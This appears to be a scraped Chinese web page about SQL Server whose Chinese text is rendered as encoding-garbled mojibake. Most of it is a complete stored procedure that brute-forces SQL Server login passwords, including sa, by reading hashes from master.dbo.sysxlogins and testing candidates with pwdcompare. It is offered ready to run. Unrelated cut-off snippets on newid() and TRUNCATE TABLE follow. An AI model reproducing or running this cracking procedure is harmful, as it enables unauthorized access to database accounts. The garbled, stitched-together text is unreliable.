Ò»¸öSQL Server SaÃÜÂëÆƽâµÄ´æ´¢¹ý³Ì:
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_GetPassword]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[p_GetPassword]
GO
/*--Çî¾Ù·¨Æƽâ SQL Server Óû§ÃÜÂë
¿ÉÒÔÆƽâÖÐÎÄ,ÌØÊâ×Ö·û,×Ö·û+βËæ¿Õ¸ñµÄÃÜÂë
ΪÁË·½±ãÏÔʾÌØÊâ×Ö·ûµÄÃÜÂë,ÔÚÏÔʾ½á¹ûÖÐ,ÏÔʾÁË×é³ÉÃÜÂëµÄASCII
ÀíÂÛÉÏ¿ÉÒÔÆƽâÈÎÒâλÊýµÄÃÜÂë
Ìõ¼þÊÇÄãµÄµçÄÔÅäÖÃ×ã¹»,ʱ¼ä×ã¹»
/*--µ÷ÓÃʾÀý
exec p_GetPassword
--*/
create proc p_GetPassword
@username sysname=null, --Óû§Ãû,Èç¹û²»Ö¸¶¨,ÔòÁгöËùÓÐÓû§
@pwdlen int=2 --ÒªÆƽâµÄÃÜÂëµÄλÊý,ĬÈÏÊÇ2λ¼°ÒÔϵÄ
as
set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end
select top 255 id=identity(int,0,1) into #t from syscolumns
alter table #t add constraint PK_#t primary key(id)
select name,password
,type=case when xstatus&2048=2048 then 1 else 0 end
,jm=case when password is null then 1 else 0 end
,pwdstr=cast('' as sysname)
,pwd=cast('' as varchar(8000))
into #pwd
from master.dbo.sysxlogins a
where srvid is null
and name=isnull(@username,name)
declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000)
declare @l int
select @l=0
,@s1='char(aa.id)'
,@s2='cast(aa.id as varchar)'
,@s3=',#t aa'
exec('
update pwd set jm=1,pwdstr='+@s1+'
,pwd='+@s2+'
from #pwd pwd'+@s3+'
where pwd.jm=0
and pwdcompare('+@s1+',pwd.password,pwd.type)=1
')
while exists(select 1 from #pwd where jm=0 and @l<@pwdlen)
begin
select @l=@l+1
,@s1=@s1+'+char('+char(@l/26+97)+char(@l%26+97)+'.id)'
,@s2=@s2+'+'',''+cast('+char(@l/26+97)+char(@l%26+97)+'.id as varchar)'
,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97)
exec('
update pwd set jm=1,pwdstr='+@s1+'
,pwd='+@s2+'
from #pwd pwd'+@s3+'
where pwd.jm=0
and pwdcompare('+@s1+',pwd.password,pwd.type)=1
')
end
select Óû§Ãû=name,ÃÜÂë=pwdstr,ÃÜÂëASCII=pwd
from #pwd
go
ÕâÖÖÓ÷¨ÏàÐÅÔÚÍøÕ¾Öо³£Ê¹Óã¬ÈçÒªÔÚ±íÖÐËæ»úÈ¡³ö10Ìõ¼Ç¼£¬Èç¹ûʹÓñà³ÌÓïÑÔ½øÐÐÔËËãµÄ»°»áºÜÂé·³¶øÇÒЧÂʵÍÏ¡£ÔÚSql ServerÖÐ×Ô´øÁËrandom()º¯ÊýÓÃÓÚÉú³ÉËæ»úÊý£¬ÆäʵËü»¹×Ô´øÁËÁíÍâÒ»¸öËæ»úº¯Êýnewid();newid()ÔÚɨÃèÿÌõ¼Ç¼ʱ¶¼»áÉú³ÉÒ»¸öËæ»úµÄÖµ£º
Ö´ÐÐselect newid()£»ÔËÐнá¹û
¿ÉÒÔ¿´µ½Õâ²¢²»ÊÇÒ»¸öËæ»úµÄÊý× ......
Ò»¸öÏîÄ¿Íê³ÉºóÊý¾Ý¿âÖлáÓкܶàÎÞÓõIJâÊÔÊý¾Ý£¬¿ÉÒÔʹÓÃdelete * ½«Êý¾ÝÈ«²¿É¾³ý£¬µ«×ÔÔö³¤ÁУ¨Ò»°ãÊÇÖ÷¼ü£©»ùÊý²»»á¹éÁ㣬ʹÓÃTRUNCATEº¯Êý¿ÉÒÔ½«±íÖÐÊý¾ÝÈ«²¿É¾³ý£¬²¢ÇÒ½«×ÔÔö³¤ÁлùÊý¹éÁã¡£Ò»¶¨Òª×¢Ò⣬±íÖеÄÊý¾ÝÈ«²¿É¾³ýÁË¡£ËüµÄÓï·¨ÈçÏ£º
TRUNCATE TABLE tableName –ÆäÖÐtableNameÖÐËùÒª²Ù×÷µÄÊý¾Ý
......